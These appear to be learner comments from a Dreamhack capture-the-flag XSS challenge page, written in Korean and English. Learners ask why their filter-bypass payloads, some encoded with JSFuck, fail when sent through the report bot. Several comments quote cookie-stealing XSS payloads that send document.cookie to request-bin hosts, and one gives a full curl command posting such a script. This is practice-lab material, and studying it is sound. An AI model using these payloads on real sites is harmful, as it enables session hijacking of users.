프론트엔드, /music에서 POST로 /save에 요청을 보내기전에 정규식을 활용하여 알파벳이랑, 특수문자를 필터링하기때문에, 백엔드 라우터인 /save로 바로 POST 요청으로 Flag를 보내게 해서 이거를 Dreamhack Tools로 Get요청을 하게하려고 했는데, 정상적으로 Reported!는 뜨는데 Tools로 요청이 들어오지 않아요 이유를 알려주시면 감사하겠습니다. 특수문자에 포함되지않는 기호인 JSFuck을 사용할려고도 했는데, 위 방법으로 문제를 풀어보고 싶어서요. 그리고 마지막으로 curl이나, console에서 직접적으로 POST 요청을 하였을때 DreamHack VM 서버가 자꾸 다운되는데 어떻게 해결하는지도 알려주시면 감사하겠습니다. curl -X POST -H "Content-Type: application/json" -d '{"url": "<script>(deep_cookie = document.cookie),fetch(\"/save\",{method:\"POST\",body:JSON.stringify({age:deep_cookie}),headers:{\"Content-Type\":\"application/json\"}}).then(response=>response.text()).then(data=>location.href=\"https://ynjlqqb.request.dreamhack.games/\"+data);</script>"}' http://host3.dreamhack.games:12833/report

Hi everyone, I have started to learn XSS and in this challenge I use payload: ` location = 'https://gzdegbd.request.dreamhack.games' + document.cookie ` The I use tool to encode jsfuck:https://jscrew.it/ I copy jsfuck code and then request to receive id, I report it and request /save?id=(this id i receive) I try many times but the query string in dreamhack respose is empty. Do I have any wrong, I need to learn more.

Can't find a short payload that doesn't exceed the HTTP header length limit when url encoded

<script>window.location.href="https://gxterev.request.dreamhack.games/"+document.cookie</script> 이 페이로드로 진행할려하는데 flag 를 못찾겠어요 인코딩을 해도요

dreamhack tools로 풀었는데 webhook.site으로도 풀어보려고 했는데 풀리지 않습니다. saved에 바로 들어가면 잘 작동하는데 report로 보내면 아무런 값도 전송이 안 됩니다 왜 그럴까요..?

hi, i want to ask how to injection malicious in Baby'age field, i already used urlEnconde with jsfuck but can not make the web pop up alert(1). I used this '-alert(1)`);// Do i wrong in somewhere, please help me,thank you

const recommend = (age) => { if (age.match(/[a-zA-Z\\&#;%*$=]/g)) { alert('nope! ⊂(・﹏・⊂)'); window.history.back() } eval(msg.innerHTML='This is recommended album for ${age}-year-old.'); 이 부분에서 age에 '+alert(1)+' 을 삽입하면 JSFuck을 사용하지 않아도 nope! ⊂(・﹏・⊂) 후에 alert(1)이 실행되더라구요. (alert가 두 개 뜸) 그래서 JSFuck 사용하지 않고 age에 쿠키 탈취하는 구문을 넣어서 id 받고 /saved에서 id 파라미터에 넣어주면 동작하는데, /report에서 127.0.0.1:3000/saved?id={받은 id} 요청하면 이건 또 안되는데 왤까요? 근데 또 /saved에서 JSFuck 인코딩 후 받은 id를 report하면 이건 또 동작해요 왤까용 ++ 궁금한 거 하나 더 있는데 eval(msg.innerHTML='This is recommended album for ' + location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie + '-year-old.'); 이건 왜 동작 안하는지 아시나요

location.href="https://lltyfcn.request.dreamhack.games/"+document.cookie 이런 페이로드를 jsfuck으로 변환시키니까 헤더길이를 초과하던데 줄이는 방법좀 알려주세요.

소스코드를 받아 필터링 조건을 확인했고 /save를 통해 post로 보내면 길이가 길어도 id를 반환한다는 점을 알았습니다. 이 점을 이용해서 '+(location="https://ebbxqev.request.dreamhack.games"+document.cookie)+'에서 필요한 부분만 JSFuck으로 변환하여 payload를 만들고 /save를 통해 전달했습니다. ((location="https://ebbxqev.request.dreamhack.games"+document.cookie) 부분만 JSFuck으로 바꾸고 삽입) /save에 전달하고 받은 id를 가지고 /saved?id=전달받은 id값 형태로 입력하니 스크립트가 삽입되어 원하는대로 redirect가 잘 되었습니다. 하지만 이 id를 가지고 report에 입력을 했을때는 Dreamhack Tools나 webhook 모두 어떤 응답도 받지 못했습니다. 왜 그런지 이유가 궁금합니다. 어떻게 풀면 좋을까요? 혹시 report에서 URL 값을 바꾸면 문제VM에서 다른 페이지로 요청을 보낼 수 있던데 이 점을 이용하는 문제일까요? 만약 그렇다면 도움이 될만한 키워드를 몇 개 알려주시면 감사하겠습니다.

console에서는 실행이 잘 되어서 payload 그대로 exploit했습니다 그런데 unexpected string, unexpected token ']'이라면서 오류가 발생하는 이유가 뭘까요?